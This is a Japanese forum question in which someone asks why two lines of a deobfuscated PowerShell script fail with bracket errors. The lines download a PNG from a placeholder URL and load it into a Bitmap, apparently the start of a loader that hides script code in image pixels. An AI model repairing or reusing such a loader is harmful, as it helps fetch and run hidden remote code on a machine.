難読化されたPowerShellのコードを、難読化を解除して実行したいと考えています。
難読化は一応解除したのですが、複数行あるコードの内、
最初のたった2行を実行できずにつまずいています。
件の2行は以下の通りです。(URLは実際とは異なります)
${g}=New-Object "System.Drawing.Bitmap"((New-Object "Net.WebClient")."OpenRead".Invoke("http://aaa.co.jp/test.png"))
${o}=New-Object "Byte[]" 1000;
PS>${g}=最初の1行
を実行すると、[System.Drawing.Bitmap]が見つからないと言われます。
最後のかっこを1つ消すと、ネストが正しくない気はするもののエラーは出なくなります。
次に
PS>2行まとめて入力すると、
式の終わりの')'が存在しません。
発生場所 行:2 文字:1とエラーが出ます。
どちらも、1行目のカッコの数が原因の様に思えますが、正しい記述が分かりません。
どこがおかしいかお分かりになる方、ご教示下さるとうれしいです。
よろしくお願いします。

回答1件
あなたの回答
tips
プレビュー
バッドをするには、ログインかつ
こちらの条件を満たす必要があります。
2019/07/03 08:01